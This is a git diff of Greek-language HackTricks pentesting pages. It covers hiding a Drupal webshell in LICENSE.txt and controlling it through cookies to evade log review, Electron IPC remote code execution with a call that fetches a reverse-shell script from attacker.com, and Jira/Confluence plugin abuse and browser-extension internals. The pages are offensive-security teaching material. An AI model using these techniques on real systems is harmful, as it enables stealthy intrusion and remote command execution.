Επειδή μόλις το Webshell (που θα ονομάσουμε LICENSE.txt) τοποθετηθεί στον Web server, μπορούμε να μεταδώσουμε τις εντολές μας μέσω `$_COOKIE` και στα αρχεία καταγραφής του Web server, αυτό θα εμφανίζεται ως ένα νόμιμο GET αίτημα σε ένα αρχείο κειμένου.
|
||||
Επειδή μόλις το Webshell (που θα ονομάσουμε LICENSE.txt) τοποθετηθεί στον Web server, μπορούμε να μεταδώσουμε τις εντολές μας μέσω `$_COOKIE` και στα αρχεία καταγραφής του Web server, αυτό θα εμφανιστεί ως ένα νόμιμο GET αίτημα σε ένα αρχείο κειμένου.
|
||||
|
||||
Γιατί να ονομάσουμε το Webshell μας LICENSE.txt;
|
||||
|
||||
Απλά επειδή αν πάρουμε το παρακάτω αρχείο, για παράδειγμα [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (το οποίο είναι ήδη παρόν στον πυρήνα του Drupal), έχουμε ένα αρχείο 339 γραμμών και 17.6 KB σε μέγεθος, το οποίο είναι τέλειο για να προσθέσουμε ένα μικρό απόσπασμα κώδικα PHP στη μέση (καθώς το αρχείο είναι αρκετά μεγάλο).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αρχείο: Διορθωμένο LICENSE.txt
|
||||
```txt
|
||||
|
@ -235,21 +235,21 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
Αρχικά, εκμεταλλευόμαστε τη δυνατότητα _Προσθήκη Εγγράφου_ (/media/add/document) για να ανεβάσουμε το αρχείο μας που περιέχει τις οδηγίες Apache (.htaccess).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Μέρος 3.2 (ανέβασμα αρχείου LICENSE.txt)**
|
||||
|
||||
Στη συνέχεια, εκμεταλλευόμαστε ξανά τη δυνατότητα _Προσθήκη Εγγράφου_ (/media/add/document) για να ανεβάσουμε ένα Webshell κρυμμένο μέσα σε ένα αρχείο άδειας.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Μέρος 4 (αλληλεπίδραση με το Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||
|
||||
|
@ -257,21 +257,21 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
Όπως φαίνεται στην παρακάτω στιγμιότυπο οθόνης, αν το cookie που αναμένεται από το Webshell μας δεν είναι καθορισμένο, λαμβάνουμε το επόμενο αποτέλεσμα όταν συμβουλευόμαστε το αρχείο μέσω ενός Web browser.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Όταν ο επιτιθέμενος ορίσει το cookie, μπορεί να αλληλεπιδράσει με το Webshell και να εκτελέσει οποιαδήποτε εντολή επιθυμεί.
|
||||
Όταν ο επιτιθέμενος ρυθμίζει το cookie, μπορεί να αλληλεπιδράσει με το Webshell και να εκτελέσει οποιαδήποτε εντολή επιθυμεί.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Και όπως μπορείτε να δείτε στα αρχεία καταγραφής, φαίνεται ότι έχει ζητηθεί μόνο ένα αρχείο txt.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Σας ευχαριστώ που αφιερώσατε χρόνο για να διαβάσετε αυτό το άρθρο, ελπίζω να σας βοηθήσει να αποκτήσετε κάποια shells.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Electron contextIsolation RCE via IPC
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
Αν το preload script εκθέτει ένα IPC endpoint από το αρχείο main.js, η διαδικασία renderer θα μπορεί να έχει πρόσβαση σε αυτό και αν είναι ευάλωτο, μπορεί να είναι δυνατή μια RCE.
|
||||
|
||||
**Οι περισσότερες από αυτές τις παραδείγματα έχουν ληφθεί από εδώ** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Δείτε το βίντεο για περισσότερες πληροφορίες.
|
||||
**Οι περισσότερες από αυτές τις παραδείγματα προήλθαν από εδώ** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Δείτε το βίντεο για περισσότερες πληροφορίες.
|
||||
|
||||
## Example 0
|
||||
|
||||
Παράδειγμα από [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (έχετε το πλήρες παράδειγμα του πώς το MS Teams εκμεταλλεύτηκε το XSS για RCE σε αυτές τις διαφάνειες, αυτό είναι απλώς ένα πολύ βασικό παράδειγμα):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Example 1
|
||||
|
||||
|
@ -86,7 +86,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|||
```
|
||||
## Παράδειγμα 2
|
||||
|
||||
Αν το preload script εκθέτει άμεσα στον renderer έναν τρόπο να καλέσει το `shell.openExternal`, είναι δυνατόν να αποκτηθεί RCE
|
||||
Εάν το preload script εκθέτει άμεσα στον renderer έναν τρόπο να καλέσει το `shell.openExternal`, είναι δυνατόν να αποκτηθεί RCE
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
|
@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
|
|||
};
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Έλεγχος Δικαιωμάτων
|
||||
|
||||
Στο Jira, **τα δικαιώματα μπορούν να ελεγχθούν** από οποιονδήποτε χρήστη, αυθεντικοποιημένο ή όχι, μέσω των endpoints `/rest/api/2/mypermissions` ή `/rest/api/3/mypermissions`. Αυτά τα endpoints αποκαλύπτουν τα τρέχοντα δικαιώματα του χρήστη. Ένα σημαντικό ζήτημα προκύπτει όταν **οι μη αυθεντικοποιημένοι χρήστες κατέχουν δικαιώματα**, υποδεικνύοντας μια **ευπάθεια ασφαλείας** που θα μπορούσε ενδεχομένως να είναι επιλέξιμη για **βραβείο**. Ομοίως, **μη αναμενόμενα δικαιώματα για αυθεντικοποιημένους χρήστες** υπογραμμίζουν επίσης μια **ευπάθεια**.
|
||||
Στο Jira, **τα δικαιώματα μπορούν να ελεγχθούν** από οποιονδήποτε χρήστη, αυθεντικοποιημένο ή όχι, μέσω των endpoints `/rest/api/2/mypermissions` ή `/rest/api/3/mypermissions`. Αυτά τα endpoints αποκαλύπτουν τα τρέχοντα δικαιώματα του χρήστη. Ένα σημαντικό ζήτημα προκύπτει όταν **οι μη αυθεντικοποιημένοι χρήστες κατέχουν δικαιώματα**, υποδεικνύοντας μια **ευπάθεια ασφαλείας** που θα μπορούσε ενδεχομένως να είναι επιλέξιμη για **βραβείο**. Ομοίως, **μη αναμενόμενα δικαιώματα για αυθεντικοποιημένους χρήστες** επισημαίνουν επίσης μια **ευπάθεια**.
|
||||
|
||||
Μια σημαντική **ενημέρωση** έγινε στις **1 Φεβρουαρίου 2019**, απαιτώντας το endpoint 'mypermissions' να περιλαμβάνει μια **παράμετρο 'permission'**. Αυτή η απαίτηση στοχεύει να **ενισχύσει την ασφάλεια** καθορίζοντας τα δικαιώματα που ερωτώνται: [έλεγξε το εδώ](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -129,9 +129,9 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
* **Reverse Shell**: Ή να αποκτήσετε ένα reverse shell.
|
||||
* **DOM Proxying**: Εάν το confluence είναι μέσα σε ιδιωτικό δίκτυο, θα ήταν δυνατόν να δημιουργηθεί μια σύνδεση μέσω του προγράμματος περιήγησης κάποιου χρήστη με πρόσβαση σε αυτό και για παράδειγμα να επικοινωνήσει με τον διακομιστή εκτελώντας εντολές μέσω αυτού.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Εάν σας ενδιαφέρει μια **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
|
||||
Εάν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη πολωνική γραπτή και προφορική_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -21,9 +21,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## Main Components
|
||||
|
||||
Οι διάταξεις των επεκτάσεων φαίνονται καλύτερες όταν απεικονίζονται και αποτελούνται από τρία στοιχεία. Ας δούμε κάθε στοιχείο σε βάθος.
|
||||
Οι διάταξεις επεκτάσεων φαίνονται καλύτερες όταν απεικονίζονται και αποτελούνται από τρία στοιχεία. Ας δούμε κάθε στοιχείο σε βάθος.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Content Scripts**
|
||||
|
||||
|
@ -43,9 +43,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
Για να αποκτήσει τα πλήρη προνόμια του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να περάσει κακόβουλη είσοδο από το script περιεχομένου στον πυρήνα της επέκτασης και από τον πυρήνα της επέκτασης στην εγγενή δυαδική.
|
||||
{% endhint %}
|
||||
|
||||
Κάθε στοιχείο της επέκτασης είναι χωρισμένο το ένα από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε στοιχείο εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα scripts περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες λειτουργικού συστήματος.
|
||||
Κάθε στοιχείο της επέκτασης είναι χωρισμένο από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε στοιχείο εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα scripts περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες λειτουργικού συστήματος.
|
||||
|
||||
Επιπλέον, τα scripts περιεχομένου είναι χωρισμένα από τις σχετικές ιστοσελίδες τους **εκτελώντας σε μια ξεχωριστή στοίβα JavaScript**. Το script περιεχομένου και η ιστοσελίδα έχουν **πρόσβαση στο ίδιο υποκείμενο DOM**, αλλά οι δύο **ποτέ δεν ανταλλάσσουν δείκτες JavaScript**, αποτρέποντας τη διαρροή λειτουργικότητας JavaScript.
|
||||
Επιπλέον, τα scripts περιεχομένου χωρίζονται από τις σχετικές ιστοσελίδες τους **εκτελώντας σε μια ξεχωριστή στοίβα JavaScript**. Το script περιεχομένου και η ιστοσελίδα έχουν **πρόσβαση στο ίδιο υποκείμενο DOM**, αλλά οι δύο **ποτέ δεν ανταλλάσσουν δείκτες JavaScript**, αποτρέποντας τη διαρροή της λειτουργικότητας JavaScript.
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
|
@ -119,13 +119,13 @@ document.body.appendChild(div);
|
|||
Ένα μήνυμα αποστέλλεται στις σελίδες της επέκτασης από το περιεχόμενο του script όταν αυτό το κουμπί πατηθεί, μέσω της χρήσης του [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Αυτό οφείλεται στον περιορισμό του περιεχομένου του script στην άμεση πρόσβαση σε APIs, με το `storage` να είναι μία από τις λίγες εξαιρέσεις. Για λειτουργίες πέρα από αυτές τις εξαιρέσεις, τα μηνύματα αποστέλλονται στις σελίδες της επέκτασης με τις οποίες μπορούν να επικοινωνούν τα περιεχόμενα scripts.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ανάλογα με τον περιηγητή, οι δυνατότητες του περιεχομένου του script μπορεί να διαφέρουν ελαφρώς. Για τους περιηγητές που βασίζονται σε Chromium, η λίστα δυνατοτήτων είναι διαθέσιμη στην [τεκμηρίωση Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), και για τον Firefox, το [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) χρησιμεύει ως η κύρια πηγή.\
|
||||
Ανάλογα με τον περιηγητή, οι δυνατότητες του περιεχομένου του script μπορεί να διαφέρουν ελαφρώς. Για τους περιηγητές που βασίζονται σε Chromium, η λίστα δυνατοτήτων είναι διαθέσιμη στην [τεκμηρίωση Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), και για τον Firefox, η [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) χρησιμεύει ως η κύρια πηγή.\
|
||||
Είναι επίσης αξιοσημείωτο ότι τα περιεχόμενα scripts έχουν τη δυνατότητα να επικοινωνούν με τα background scripts, επιτρέποντάς τους να εκτελούν ενέργειες και να μεταφέρουν απαντήσεις πίσω.
|
||||
{% endhint %}
|
||||
|
||||
Για την προβολή και την αποσφαλμάτωση των περιεχομένων scripts στο Chrome, το μενού εργαλείων προγραμματιστών του Chrome μπορεί να προσπελαστεί από Επιλογές > Περισσότερα εργαλεία > Εργαλεία προγραμματιστών Ή πατώντας Ctrl + Shift + I.
|
||||
|
||||
Αφού εμφανιστούν τα εργαλεία προγραμματιστών, πρέπει να κάνετε κλικ στην καρτέλα **Πηγή**, ακολουθούμενη από την καρτέλα **Περιεχόμενα Scripts**. Αυτό επιτρέπει την παρακολούθηση των εκτελούμενων περιεχομένων scripts από διάφορες επεκτάσεις και τη ρύθμιση σημείων διακοπής για την παρακολούθηση της ροής εκτέλεσης.
|
||||
Αφού εμφανιστούν τα εργαλεία προγραμματιστών, πρέπει να κάνετε κλικ στην καρτέλα **Πηγή**, ακολουθούμενη από την καρτέλα **Περιεχόμενα Scripts**. Αυτό επιτρέπει την παρακολούθηση των εκτελούμενων περιεχομένων scripts από διάφορες επεκτάσεις και την ρύθμιση σημείων διακοπής για την παρακολούθηση της ροής εκτέλεσης.
|
||||
|
||||
### Εισαγόμενα περιεχόμενα scripts
|
||||
|
||||
|
@ -133,7 +133,7 @@ document.body.appendChild(div);
|
|||
Σημειώστε ότι **Τα Περιεχόμενα Scripts δεν είναι υποχρεωτικά** καθώς είναι επίσης δυνατή η **δυναμική** **εισαγωγή** scripts και η **προγραμματική εισαγωγή τους** σε ιστοσελίδες μέσω του **`tabs.executeScript`**. Αυτό παρέχει στην πραγματικότητα περισσότερους **λεπτομερείς ελέγχους**.
|
||||
{% endhint %}
|
||||
|
||||
Για την προγραμματική εισαγωγή ενός περιεχομένου script, απαιτείται η επέκταση να έχει [δικαιώματα φιλοξενίας](https://developer.chrome.com/docs/extensions/reference/permissions) για τη σελίδα στην οποία θα εισαχθούν τα scripts. Αυτά τα δικαιώματα μπορεί να εξασφαλιστούν είτε **ζητώντας τα** εντός του μανιφέστ της επέκτασης είτε προσωρινά μέσω του [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
Για την προγραμματική εισαγωγή ενός περιεχομένου script, απαιτείται η επέκταση να έχει [δικαιώματα φιλοξενίας](https://developer.chrome.com/docs/extensions/reference/permissions) για τη σελίδα στην οποία θα εισαχθούν τα scripts. Αυτά τα δικαιώματα μπορεί να εξασφαλιστούν είτε **ζητώντας τα** μέσα στο μανιφέστο της επέκτασης είτε προσωρινά μέσω του [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
#### Παράδειγμα επέκτασης βασισμένης σε activeTab
|
||||
|
||||
|
@ -196,9 +196,9 @@ js : [ "contentScript.js" ],
|
|||
// Another example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
||||
```
|
||||
Για να συμπεριλάβετε ή να αποκλείσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατή η χρήση **`include_globs`** και **`exclude_globs`**.
|
||||
Για να συμπεριλάβετε ή να αποκλείσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατή η χρήση των **`include_globs`** και **`exclude_globs`**.
|
||||
|
||||
### Περιεχόμενο Scripts `run_at`
|
||||
### Content Scripts `run_at`
|
||||
|
||||
Το πεδίο `run_at` ελέγχει **πότε τα αρχεία JavaScript εισάγονται στη σελίδα web**. Η προτιμώμενη και προεπιλεγμένη τιμή είναι το `"document_idle"`.
|
||||
|
||||
|
@ -239,9 +239,9 @@ js : [ "contentScript.js" ],
|
|||
|
||||
**Βασικά Σημεία**:
|
||||
|
||||
* **Ρόλος Σελίδας Φόντου:** Λειτουργεί ως το κέντρο ελέγχου για την επέκταση, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης.
|
||||
* **Ρόλος Σελίδας Φόντου:** Λειτουργεί ως το κέντρο ελέγχου της επέκτασης, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης.
|
||||
* **Επιμονή:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά αναπόσπαστο μέρος της λειτουργικότητας της επέκτασης.
|
||||
* **Αυτόματη Δημιουργία:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια σελίδα φόντου. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα σενάρια φόντου που καθορίζονται στο μανιφέστο της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των εργασιών φόντου της επέκτασης.
|
||||
* **Αυτόματη Δημιουργία:** Εάν δεν έχει δηλωθεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια σελίδα φόντου. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα σενάρια φόντου που καθορίζονται στο μανιφέστο της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των εργασιών φόντου της επέκτασης.
|
||||
|
||||
{% hint style="success" %}
|
||||
Η ευκολία που παρέχει ο περιηγητής στην αυτόματη δημιουργία μιας σελίδας φόντου (όταν δεν δηλώνεται ρητά) εξασφαλίζει ότι όλα τα απαραίτητα σενάρια φόντου είναι ενσωματωμένα και λειτουργικά, απλοποιώντας τη διαδικασία ρύθμισης της επέκτασης.
|
||||
|
@ -259,7 +259,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
|
|||
```
|
||||
Χρησιμοποιεί το [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) για να ακούει μηνύματα. Όταν ληφθεί ένα μήνυμα `"explain"`, χρησιμοποιεί το [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) για να ανοίξει μια σελίδα σε μια νέα καρτέλα.
|
||||
|
||||
Για να αποσφαλματώσετε το background script, μπορείτε να μεταβείτε στις **λεπτομέρειες της επέκτασης και να επιθεωρήσετε τον service worker,** αυτό θα ανοίξει τα εργαλεία προγραμματιστή με το background script:
|
||||
Για να αποσφαλματώσετε το σενάριο φόντου, μπορείτε να μεταβείτε στις **λεπτομέρειες της επέκτασης και να επιθεωρήσετε τον service worker,** αυτό θα ανοίξει τα εργαλεία προγραμματιστή με το σενάριο φόντου:
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -269,18 +269,18 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
|
|||
|
||||
* **Σελίδες δράσης** εμφανίζονται σε ένα **αναδυόμενο μενού όταν κάνετε κλικ στο εικονίδιο της επέκτασης.**
|
||||
* Σελίδες που η επέκταση θα **φορτώσει σε μια νέα καρτέλα.**
|
||||
* **Σελίδες επιλογών**: Αυτή η σελίδα εμφανίζεται πάνω από την επέκταση όταν κάνετε κλικ. Στο προηγούμενο manifest, στην περίπτωσή μου, μπόρεσα να αποκτήσω πρόσβαση σε αυτή τη σελίδα στο `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ή κάνοντας κλικ:
|
||||
* **Σελίδες επιλογών**: Αυτή η σελίδα εμφανίζεται πάνω από την επέκταση όταν κάνετε κλικ. Στο προηγούμενο μανιφέστο, στην περίπτωσή μου, μπόρεσα να αποκτήσω πρόσβαση σε αυτή τη σελίδα στο `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ή κάνοντας κλικ:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες background, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα background:
|
||||
Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες φόντου, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα φόντου:
|
||||
|
||||
* **Επικοινωνία με Content Scripts:** Παρόμοια με τη σελίδα background, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης.
|
||||
* **Επικοινωνία με Content Scripts:** Παρόμοια με τη σελίδα φόντου, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης.
|
||||
* **Πρόσβαση σε APIs συγκεκριμένα για την επέκταση:** Αυτές οι σελίδες απολαμβάνουν πλήρη πρόσβαση σε APIs συγκεκριμένα για την επέκταση, υπό την προϋπόθεση των αδειών που ορίζονται για την επέκταση.
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδείξουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
|
||||
**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδεικνύουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
|
||||
|
||||
Καθώς οι επεκτάσεις προγράμματος περιήγησης μπορεί να είναι τόσο **προνομιούχες**, μια κακόβουλη ή μια που έχει παραβιαστεί θα μπορούσε να επιτρέψει στον επιτιθέμενο **διαφορετικούς τρόπους να κλέψει ευαίσθητες πληροφορίες και να κατασκοπεύσει τον χρήστη**.
|
